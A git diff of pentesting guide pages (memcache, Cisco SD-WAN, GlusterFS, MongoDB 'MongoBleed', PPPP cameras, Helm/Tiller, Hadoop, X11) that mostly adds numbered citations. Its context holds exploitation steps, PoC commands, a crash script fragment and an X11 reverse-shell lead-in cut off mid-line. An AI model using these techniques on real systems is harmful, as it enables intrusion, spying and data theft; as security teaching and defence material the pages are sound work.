diff --git a/src/network-services-pentesting/11211-memcache/README.md b/src/network-services-pentesting/11211-memcache/README.md index 2c6c373b045..6db668ccaa7 100644 --- a/src/network-services-pentesting/11211-memcache/README.md +++ b/src/network-services-pentesting/11211-memcache/README.md @@ -67,7 +67,7 @@ In the realm of memcache, a protocol that assists in organizing data by slabs, s 2. A limit exists of one page per slab class, equating to 1MB of data. 3. This feature is unofficial and may be discontinued at any time, as discussed in [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM). -The limitation of only being able to dump 1MB from potentially gigabytes of data is particularly significant. However, this functionality can still offer insights into key usage patterns, depending on specific needs. For those less interested in the mechanics, a visit to the [tools section](https://lzone.de/cheat-sheet/memcached#tools) reveals utilities for comprehensive dumping. Alternatively, the process of using telnet for direct interaction with memcached setups is outlined below. +The limitation of only being able to dump 1MB from potentially gigabytes of data is particularly significant. However, this functionality can still offer insights into key usage patterns, depending on specific needs. For those less interested in the mechanics, a visit to the [tools section](https://lzone.de/cheat-sheet/memcached#tools) reveals utilities for comprehensive dumping. Alternatively, the process of using telnet for direct interaction with memcached setups is outlined below.[[1]](#references) ### **How it Works** @@ -140,7 +140,7 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce ### **DUMPING TOOLS** -Table [from here](https://lzone.de/blog). +Table [from here](https://lzone.de/blog).[[2]](#references) | Programming Languages | Tools | Functionality | | | | --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- | @@ -155,13 +155,13 @@ Table [from here](https://lzone.de/blog). ### 1MB Data Limit -Note that prio to memcached 1.4 you cannot store objects larger than 1MB due to the default maximum slab size. +Note that prio to memcached 1.4 you cannot store objects larger than 1MB due to the default maximum slab size.[[1]](#references) ### Never Set a Timeout > 30 Days! If you try to “set” or “add” a key with a timeout bigger than the allowed maximum you might not get what you expect because memcached then treats the value as a Unix timestamp. Also if the timestamp is in the past it will do nothing at all. Your command will silently fail. -So if you want to use the maximum lifetime specify 2592000. Example: +So if you want to use the maximum lifetime specify 2592000. Example:[[1]](#references) ``` set my_key 0 2592000 1 @@ -170,11 +170,11 @@ set my_key 0 2592000 1 ### Disappearing Keys on Overflow -Despite the documentation saying something about wrapping around 64bit overflowing a value using “incr” causes the value to disappear. It needs to be created using “add”/”set” again. +Despite the documentation saying something about wrapping around 64bit overflowing a value using “incr” causes the value to disappear. It needs to be created using “add”/”set” again.[[1]](#references) ### Replication -memcached itself does not support replication. If you really need it you need to use 3rd party solutions: +memcached itself does not support replication. If you really need it you need to use 3rd party solutions:[[1]](#references) - [repcached](http://repcached.lab.klab.org/): Multi-master async replication (memcached 1.2 patch set) - [Couchbase memcached interface](http://www.couchbase.com/memcached): Use CouchBase as memcached drop-in @@ -195,7 +195,8 @@ memcache-commands.md ## References -- [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached) +- [1] [Memcached Cheat Sheet - LZone](https://lzone.de/cheat-sheet/memcached) +- [2] [LZone DevOps Blog](https://lzone.de/blog) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index 70f8289ce43..7d64dfdb22d 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -5,7 +5,7 @@ ## Commands Cheat-Sheet -**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached) +**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)[[1]](#references) The supported commands (the official ones and some unofficial) are documented in the [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) document. @@ -105,7 +105,7 @@ STAT total_malloced 3145436 END ``` -If you are unsure if you have enough memory for your memcached instance always look out for the “evictions” counters given by the “stats” command. If you have enough memory for the instance the “evictions” counter should be 0 or at least not increasing. +If you are unsure if you have enough memory for your memcached instance always look out for the “evictions” counters given by the “stats” command. If you have enough memory for the instance the “evictions” counter should be 0 or at least not increasing.[[1]](#references) #### Which Keys Are Used? @@ -127,8 +127,11 @@ STAT items:2:age 1405 END ``` -This at least helps to see if any keys are used. To dump the key names from a PHP script that already does the memcache access you can use the PHP code from [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). +This at least helps to see if any keys are used. To dump the key names from a PHP script that already does the memcache access you can use the PHP code from [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).[[1]](#references) +## References + +- [1] [memcached cheat sheet](https://lzone.de/cheat-sheet/memcached) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/12346-udp-pentesting-cisco-sd-wan-control-plane.md b/src/network-services-pentesting/12346-udp-pentesting-cisco-sd-wan-control-plane.md index e5250f122fa..b5f8fdbcf86 100644 --- a/src/network-services-pentesting/12346-udp-pentesting-cisco-sd-wan-control-plane.md +++ b/src/network-services-pentesting/12346-udp-pentesting-cisco-sd-wan-control-plane.md @@ -4,7 +4,7 @@ ## Basic Information -Cisco Catalyst SD-WAN controllers expose a **DTLS control-plane service on UDP/12346** (`vdaemon`). This service should be treated like a routing-adjacency surface: if an attacker can become an authenticated peer, they may be able to pivot into the overlay fabric. +Cisco Catalyst SD-WAN controllers expose a **DTLS control-plane service on UDP/12346** (`vdaemon`). This service should be treated like a routing-adjacency surface: if an attacker can become an authenticated peer, they may be able to pivot into the overlay fabric.[[1]](#references) `vdaemon` uses a **12-byte header** where the **high nibble** of `device_info` encodes the claimed device role: @@ -17,7 +17,7 @@ Cisco Catalyst SD-WAN controllers expose a **DTLS control-plane service on UDP/1 | `5` | vManage | | `6` | ZTP | -The DTLS handshake is not enough to authenticate a peer by itself. Peer trust is finalized later during control-plane bootstrap messages such as `CHALLENGE_ACK`. +The DTLS handshake is not enough to authenticate a peer by itself. Peer trust is finalized later during control-plane bootstrap messages such as `CHALLENGE_ACK`.[[1]](#references) **Default port:** 12346/udp @@ -45,7 +45,7 @@ ssh -p 830 @ ### Pre-auth Role Confusion -`CHALLENGE_ACK` (**message type `9`**) is reachable before authentication because it is part of the control-plane bootstrap allowlist. In CVE-2026-20182, Rapid7 showed that `vbond_proc_challenge_ack()` verified some roles (`vEdge`, `vSmart`, `vManage`) but had no verification branch for claimed role `2` / vHub. +`CHALLENGE_ACK` (**message type `9`**) is reachable before authentication because it is part of the control-plane bootstrap allowlist. In CVE-2026-20182, Rapid7 showed that `vbond_proc_challenge_ack()` verified some roles (`vEdge`, `vSmart`, `vManage`) but had no verification branch for claimed role `2` / vHub.[[1]](#references)[[2]](#references) Because the function later fell through to `peer->authenticated = 1`, an attacker could: @@ -58,7 +58,7 @@ This is a useful bug pattern to hunt in proprietary control planes: attacker-con ### Post-auth Pivot -Once treated as an authenticated peer, the controller accepted `MSG_VMANAGE_TO_PEER` (**message type `14`**) and appended attacker-controlled data to `/home/vmanage-admin/.ssh/authorized_keys`. +Once treated as an authenticated peer, the controller accepted `MSG_VMANAGE_TO_PEER` (**message type `14`**) and appended attacker-controlled data to `/home/vmanage-admin/.ssh/authorized_keys`.[[1]](#references) This turns a control-plane foothold into persistent NETCONF over SSH access on TCP/830 as `vmanage-admin`. @@ -87,7 +87,7 @@ Review similar appliances for post-auth messages that write SSH keys, API tokens ## References -- [Rapid7: CVE-2026-20182 - Critical authentication bypass in Cisco Catalyst SD-WAN Controller](https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/) -- [Cisco Security Advisory: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW) +- [1] [Rapid7: CVE-2026-20182 - Critical authentication bypass in Cisco Catalyst SD-WAN Controller](https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/) +- [2] [Cisco Security Advisory: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index 0b1d253d25b..056a4a7cacc 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -100,13 +100,13 @@ with socket.create_connection(("10.10.11.131",24007)) as s: s.send(struct.pack("!L", len(p.get_buffer())|0x80000000)) s.send(p.get_buffer()) ``` -Running the script crashes `glusterfsd` < 11.0. +Running the script crashes `glusterfsd` < 11.0.[[2]](#references) --- ## Hardening & Detection -* **Upgrade** – current LTS is 11.1 (July 2025). All CVEs above are fixed. +* **Upgrade** – current LTS is 11.1 (July 2025). All CVEs above are fixed.[[1]](#references) * Enable **TLS** for every brick: ```bash @@ -127,6 +127,7 @@ Running the script crashes `glusterfsd` < 11.0. ## References -* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security) -* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash) +- [1] [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security) +- [2] [CVE-2023-26253 PoC (tinynetwork/gluster-notify-crash)](https://github.com/tinynetwork/gluster-notify-crash) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/27017-27018-mongodb.md b/src/network-services-pentesting/27017-27018-mongodb.md index d7ea633d38f..b9aa1de9aac 100644 --- a/src/network-services-pentesting/27017-27018-mongodb.md +++ b/src/network-services-pentesting/27017-27018-mongodb.md @@ -81,7 +81,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not ## Mongo Objectid Predict -Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/). +Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).[[6]](#references) Mongo Object IDs are **12-byte hexadecimal** strings: @@ -104,11 +104,11 @@ If you are root you can **modify** the **mongodb.conf** file so no credentials a ## MongoBleed zlib Memory Disclosure (CVE-2025-14847) -A widespread unauthenticated memory disclosure ("MongoBleed") impacts MongoDB 3.6–8.2 when the **zlib network compressor is enabled**. The `OP_COMPRESSED` header trusts an attacker-supplied `uncompressedSize`, so the server allocates a buffer of that size and copies it back into responses even though only a much smaller compressed payload was provided. The extra bytes are **uninitialized heap data** from other connections, `/proc`, or the WiredTiger cache. Attackers then omit the expected **BSON `\x00` terminator** so MongoDB’s parser keeps scanning that oversized buffer until it finds a terminator, and the error response echoes both the malicious document and the scanned heap bytes **pre-auth** on TCP/27017. +A widespread unauthenticated memory disclosure ("MongoBleed") impacts MongoDB 3.6–8.2 when the **zlib network compressor is enabled**. The `OP_COMPRESSED` header trusts an attacker-supplied `uncompressedSize`, so the server allocates a buffer of that size and copies it back into responses even though only a much smaller compressed payload was provided. The extra bytes are **uninitialized heap data** from other connections, `/proc`, or the WiredTiger cache. Attackers then omit the expected **BSON `\x00` terminator** so MongoDB’s parser keeps scanning that oversized buffer until it finds a terminator, and the error response echoes both the malicious document and the scanned heap bytes **pre-auth** on TCP/27017.[[1]](#references)[[2]](#references) ### Exposure requirements & quick checks -- Server version must be within the vulnerable ranges (3.6, 4.0, 4.2, 4.4.0–4.4.29, 5.0.0–5.0.31, 6.0.0–6.0.26, 7.0.0–7.0.27, 8.0.0–8.0.16, 8.2.0–8.2.2). +- Server version must be within the vulnerable ranges (3.6, 4.0, 4.2, 4.4.0–4.4.29, 5.0.0–5.0.31, 6.0.0–6.0.26, 7.0.0–7.0.27, 8.0.0–8.0.16, 8.2.0–8.2.2).[[3]](#references) - `net.compression.compressors` or `networkMessageCompressors` must include `zlib` (default on many builds). Check it from the shell with: ```javascript @@ -122,9 +122,9 @@ db.adminCommand({getParameter: 1, networkMessageCompressors: 1}) 1. Initiate the wire-protocol handshake advertising `compressors:["zlib"]` so the session uses zlib. 2. Send `OP_COMPRESSED` frames whose declared `uncompressedSize` is far larger than the real decompressed payload to force **oversized heap allocation full of old data**. 3. Craft the embedded BSON **without a final `\x00`** so the parser walks past attacker-controlled data into the oversized buffer while looking for a terminator. -4. MongoDB emits an error that includes the original message plus whatever heap bytes were scanned, leaking memory. Repeat with varying lengths/offsets to aggregate secrets (creds/API keys/session tokens), WiredTiger stats, and `/proc` artifacts. +4. MongoDB emits an error that includes the original message plus whatever heap bytes were scanned, leaking memory. Repeat with varying lengths/offsets to aggregate secrets (creds/API keys/session tokens), WiredTiger stats, and `/proc` artifacts.[[1]](#references) -The public PoC automates the probing offsets and carving of the returned fragments: +The public PoC automates the probing offsets and carving of the returned fragments:[[5]](#references) ```bash python3 mongobleed.py --host --max-offset 50000 --output leaks.bin @@ -132,7 +132,7 @@ python3 mongobleed.py --host --max-offset 50000 --output leaks.bin ### Detection noise signal (high-rate connections) -The attack usually generates many short-lived requests. Watch for spikes of inbound connections to `mongod`/`mongod.exe`. Example XQL hunt (>500 connections/min per remote IP, excluding RFC1918/loopback/link-local/mcast/broadcast/reserved ranges by default): +The attack usually generates many short-lived requests. Watch for spikes of inbound connections to `mongod`/`mongod.exe`.[[1]](#references) Example XQL hunt (>500 connections/min per remote IP, excluding RFC1918/loopback/link-local/mcast/broadcast/reserved ranges by default):
Cortex XQL high-velocity Mongo connections @@ -164,11 +164,12 @@ dataset = xdr_data ## References -- [Unit 42 – Threat Brief: MongoDB Vulnerability (CVE-2025-14847)](https://unit42.paloaltonetworks.com/mongobleed-cve-2025-14847/) -- [Tenable – CVE-2025-14847 (MongoBleed): MongoDB Memory Leak Vulnerability Exploited in the Wild](https://www.tenable.com/blog/cve-2025-14847-mongobleed-mongodb-memory-leak-vulnerability-exploited-in-the-wild) -- [MongoDB Security Advisory SERVER-115508](https://jira.mongodb.org/browse/SERVER-115508) -- [Censys – MongoBleed Advisory](https://censys.com/advisory/cve-2025-14847) -- [MongoBleed PoC (joe-desimone/mongobleed)](https://github.com/joe-desimone/mongobleed) +- [1] [Unit 42 – Threat Brief: MongoDB Vulnerability (CVE-2025-14847)](https://unit42.paloaltonetworks.com/mongobleed-cve-2025-14847/) +- [2] [Tenable – CVE-2025-14847 (MongoBleed): MongoDB Memory Leak Vulnerability Exploited in the Wild](https://www.tenable.com/blog/cve-2025-14847-mongobleed-mongodb-memory-leak-vulnerability-exploited-in-the-wild) +- [3] [MongoDB Security Advisory SERVER-115508](https://jira.mongodb.org/browse/SERVER-115508) +- [4] [Censys – MongoBleed Advisory](https://censys.com/advisory/cve-2025-14847) +- [5] [MongoBleed PoC (joe-desimone/mongobleed)](https://github.com/joe-desimone/mongobleed) +- [6] [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/) --- diff --git a/src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md b/src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md index 9ab93e7f7cc..0965ffb83ed 100644 --- a/src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md +++ b/src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md @@ -4,7 +4,7 @@ ## Overview -PPPP (a.k.a. “P2P”) is a proprietary device connectivity stack by CS2 Network that’s widely embedded in low-cost IP cameras and other IoT devices. It provides rendezvous, NAT traversal (UDP hole punching), an application-layer “reliable” stream on top of UDP, and an ID-based addressing scheme, allowing a mobile/desktop app to reach devices anywhere on the Internet by knowing only a device ID. +PPPP (a.k.a. “P2P”) is a proprietary device connectivity stack by CS2 Network that’s widely embedded in low-cost IP cameras and other IoT devices. It provides rendezvous, NAT traversal (UDP hole punching), an application-layer “reliable” stream on top of UDP, and an ID-based addressing scheme, allowing a mobile/desktop app to reach devices anywhere on the Internet by knowing only a device ID.[[1]](#references)[[4]](#references) Key traits relevant to attackers: - Devices register to three vendor-operated rendezvous servers per ID prefix. Clients query the same servers to find the device’s external/relay address, then attempt UDP hole punching. Relay fallback exists. @@ -12,13 +12,13 @@ Key traits relevant to attackers: - Optional blanket cipher and a special “CRCEnc” mode exist but are weak by design and are typically disabled in popular ecosystems (e.g., LookCam). - Control plane is usually JSON commands over the PPPP stream and commonly suffers from missing auth and memory-safety bugs. -Typical device ID format (LookCam family): PREFIX-######-CCCCC, shortened in apps (e.g., GHBB-000001-NRLXW → G000001NRLXW). Observed prefixes: BHCC ("hekai"), FHBB and GHBB ("mykj"). +Typical device ID format (LookCam family): PREFIX-######-CCCCC, shortened in apps (e.g., GHBB-000001-NRLXW → G000001NRLXW). Observed prefixes: BHCC ("hekai"), FHBB and GHBB ("mykj").[[1]](#references) ## Discovery and Enumeration -- Internet exposure: many PPPP super-nodes answer a 32100/UDP probe. Known plaintext and error-string responses make them easy to identify in traffic captures and with Internet scanners. +- Internet exposure: many PPPP super-nodes answer a 32100/UDP probe. Known plaintext and error-string responses make them easy to identify in traffic captures and with Internet scanners.[[3]](#references) - LAN discovery: devices often reply to an unencrypted search on local broadcast. Use Paul Marrapese’s script to enumerate: - - [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch) + - [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)[[2]](#references) Notes: - Apps embed “init strings” that contain obfuscated server IP lists and protocol keys. These strings are trivially extractable from Android/iOS/Windows clients and often reused across many product lines. @@ -35,12 +35,12 @@ Two ineffective mechanisms exist in the CS2 stack: 1) Blanket cipher (optional) – P2P_Proprietary_Encrypt - Usually disabled by OEMs using LookCam. - App-side “init string” supplies the key material which is reduced to an effective 4-byte key (~2^32 space). -- Practical known-plaintext: the first 4 bytes of MSG_HELLO to UDP/32100 are known to be F1 00 00 00. Observing a single encrypted handshake allows rapid key recovery or validation. +- Practical known-plaintext: the first 4 bytes of MSG_HELLO to UDP/32100 are known to be F1 00 00 00. Observing a single encrypted handshake allows rapid key recovery or validation.[[1]](#references) - Some control messages (e.g., MSG_REPORT_SESSION_READY) are always encrypted with a library-hardcoded key shared across apps. 2) Registration “encryption” – PPPP_CRCEnc - Despite the name, this is not CRC. It’s a fixed repeating XOR keystream with a 4-byte padding check (not authenticated). -- LookCam networks typically use CRCEnc only for the device → server registration (MSG_DEV_LGN_CRC). Most other traffic stays plaintext. +- LookCam networks typically use CRCEnc only for the device → server registration (MSG_DEV_LGN_CRC). Most other traffic stays plaintext.[[1]](#references) Simple keystream recovery for PPPP_CRCEnc (Python): ```python @@ -51,7 +51,7 @@ keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)]) pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)]) ``` -Threat model mismatch: CS2 materials focus on preventing DoS via fake device registrations, not on confidentiality. This explains selective “encryption” of registration while video/control remain optional or cleartext. Historical PPPP servers show no rate limiting, enabling brute-force/abuse at scale. +Threat model mismatch: CS2 materials focus on preventing DoS via fake device registrations, not on confidentiality. This explains selective “encryption” of registration while video/control remain optional or cleartext. Historical PPPP servers show no rate limiting, enabling brute-force/abuse at scale.[[5]](#references) ## Control Plane: JSON Commands and Auth Bypass @@ -65,7 +65,7 @@ Many PPPP camera firmwares exchange JSON messages once the session is up. Exampl Common vulnerability in LookCam-class devices: - Firmware ignores both the LoginDev flow and per-request pwd fields (CWE-287, CWE-306). The device accepts operational commands without validating a password. -- Exploitation: do not send LoginDev or ignore its result; send commands directly. +- Exploitation: do not send LoginDev or ignore its result; send commands directly.[[1]](#references) Useful commands observed: - searchWiFiList – shells out to iwlist; leaves raw output in /tmp/wifi_scan.txt. @@ -74,7 +74,7 @@ Useful commands observed: Workflow to deanonymize location via transient artifacts: 1) Send {"cmd":"searchWiFiList"}. 2) Read /tmp/wifi_scan.txt via DownloadFile. -3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters. +3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.[[1]](#references) ## Memory-Safety to RCE on Embedded Firmware @@ -88,7 +88,7 @@ memcpy(buf, cmd, strlen(cmd)); // no bound check - Trigger: any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121). - Protections: no stack canary; DEP/NX and ASLR commonly disabled on these builds. -- Impact: straightforward single-stage shellcode or classic ROP/ret2libc on the device’s CPU (e.g., ARM) for full compromise and LAN pivoting. +- Impact: straightforward single-stage shellcode or classic ROP/ret2libc on the device’s CPU (e.g., ARM) for full compromise and LAN pivoting.[[1]](#references) See also: - @@ -108,14 +108,14 @@ Many LookCam-branded firmwares upload recordings to api.l040z.com (apicn.l040z.c - 5 MiB chunking is hardcoded. - Remote enablement: on boot the device calls http://api.l040z.com/camera/signurl; the server’s response decides whether uploads start. The mobile app may show cloud “disabled” even when uploads occur. A third party can purchase/enable cloud for a victim ID and silently collect footage. -This is classic cleartext sensitive transmission (CWE-319) with missing server-side authZ. +This is classic cleartext sensitive transmission (CWE-319) with missing server-side authZ.[[1]](#references) ## Device-ID Enumeration and Guessing - ID format: PREFIX-######-CCCCC and app-shortened form (e.g., GHBB-000001-NRLXW → G000001NRLXW). - Prefix families: BHCC (hekai servers), FHBB and GHBB (mykj servers). Each prefix maps to three rendezvous servers for HA. - The 5-letter verifier uses an alphabet of 22 uppercase letters (A, I, O, Q excluded) → 22^5 ≈ 5.15M combos per numeric base. -- Prior work observed no server-side rate-limiting, making distributed guessing practical. The verifier algorithm is bespoke and likely guessable or obtainable by reversing apps/firmware. +- Prior work observed no server-side rate-limiting, making distributed guessing practical. The verifier algorithm is bespoke and likely guessable or obtainable by reversing apps/firmware.[[1]](#references) Practical sources of IDs: - Displayed all over the official apps and often leaked in user screenshots/videos. @@ -123,7 +123,7 @@ Practical sources of IDs: ## Forcing Remote Reachability -Some firmwares reboot in a loop until rendezvous servers are reachable. If egress is blocked, the device will remain in a reboot cycle, effectively coercing owners to leave it Internet-reachable and exposed to PPPP rendezvous. +Some firmwares reboot in a loop until rendezvous servers are reachable. If egress is blocked, the device will remain in a reboot cycle, effectively coercing owners to leave it Internet-reachable and exposed to PPPP rendezvous.[[1]](#references) ## Practical Exploitation Playbook (for repro/defense testing) @@ -158,11 +158,11 @@ Some firmwares reboot in a loop until rendezvous servers are reachable. If egres ## References -- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/) -- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch) -- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf) -- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon) -- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/) -- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/) +- [1] [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/) +- [2] [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch) +- [3] [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf) +- [4] [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon) +- [5] [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/) +- [6] [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/44134-pentesting-tiller-helm.md b/src/network-services-pentesting/44134-pentesting-tiller-helm.md index 4e34a16a25c..5a01df8199b 100644 --- a/src/network-services-pentesting/44134-pentesting-tiller-helm.md +++ b/src/network-services-pentesting/44134-pentesting-tiller-helm.md @@ -66,7 +66,11 @@ helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller- /pwnchart ``` -In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **explanation of the attack**, but basically, if you read the files [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) and [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) inside _helm-tiller-pwn/pwnchart/templates/_ you can see how **all the privileges are being given to the default token**. +In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **explanation of the attack**, but basically, if you read the files [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) and [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) inside _helm-tiller-pwn/pwnchart/templates/_ you can see how **all the privileges are being given to the default token**.[[1]](#references) + +## References + +- [1] [Helm/Tiller privilege escalation attack explanation](http://rui0.cn/archives/1573) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md index 5c607160061..5f42e7e0168 100644 --- a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md +++ b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md @@ -67,7 +67,7 @@ If port **8031/8032 RPC** is exposed, older clusters allow the same job submissi ## Local PrivEsc from YARN containers (CVE-2023-26031) -Hadoop 3.3.1–3.3.4 **container-executor** loads libs from a **relative RUNPATH**. A user who can run YARN containers (including remote submitters on insecure clusters) may drop a malicious `libcrypto.so` in a writable path and get **root** when `container-executor` runs with SUID. +Hadoop 3.3.1–3.3.4 **container-executor** loads libs from a **relative RUNPATH**. A user who can run YARN containers (including remote submitters on insecure clusters) may drop a malicious `libcrypto.so` in a writable path and get **root** when `container-executor` runs with SUID.[[2]](#references) Quick check: @@ -77,11 +77,11 @@ readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH' ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable ``` -Fixed in **3.3.5**; ensure the binary is not SUID if secure containers aren’t required. +Fixed in **3.3.5**; ensure the binary is not SUID if secure containers aren’t required.[[1]](#references) ## References -- [Apache Hadoop official CVE list](https://hadoop.apache.org/cve_list.html) -- [Wiz write-up on CVE-2023-26031](https://www.wiz.io/vulnerability-database/cve/cve-2023-26031) +- [1] [Apache Hadoop official CVE list](https://hadoop.apache.org/cve_list.html) +- [2] [Wiz write-up on CVE-2023-26031](https://www.wiz.io/vulnerability-database/cve/cve-2023-26031) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index e37699eadd1..4c0038a4b25 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -28,7 +28,7 @@ If a server is not listening on TCP, remember that a **local foothold** plus a v #### Local Enumeration -The file **`.Xauthority`** in the user's home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518): +The file **`.Xauthority`** in the user's home folder is **used** by **X11 for authorization**.[[3]](#references) From [**here**](https://stackoverflow.com/a/37367518): ```bash $ xxd ~/.Xauthority @@ -55,7 +55,7 @@ xauth list If you already have code execution as another user, check the environment of GUI-related processes for **`DISPLAY`** and **`XAUTHORITY`**. If you need a refresher on `DISPLAY`, see [Linux environment variables](../linux-hardening/linux-basics/linux-environment-variables.md). -The X server process may also expose the **authoritative auth file** via the `-auth` argument, so it is worth checking the full command line of `Xorg`/`Xwayland`. +The X server process may also expose the **authoritative auth file** via the `-auth` argument, so it is worth checking the full command line of `Xorg`/`Xwayland`.[[1]](#references) #### Local Enumeration Session @@ -125,13 +125,13 @@ convert screenshot.xwd screenshot.png ## Remote Desktop View -Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) +Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)[[4]](#references) ```bash ./xrdp.py ``` -Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) +Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)[[5]](#references) First we need to find the ID of the window using `xwininfo`: @@ -171,7 +171,7 @@ For **live viewing** use: ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` -A more maintained alternative for shadowing an existing X11 display is `xpra`: +A more maintained alternative for shadowing an existing X11 display is `xpra`:[[2]](#references) ```bash xpra shadow :0 @@ -199,7 +199,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec Other way: -**Reverse Shell:** `xrdp` also allows taking a reverse shell via Netcat. Type the following command: +**Reverse Shell:** `xrdp` also allows taking a reverse shell via 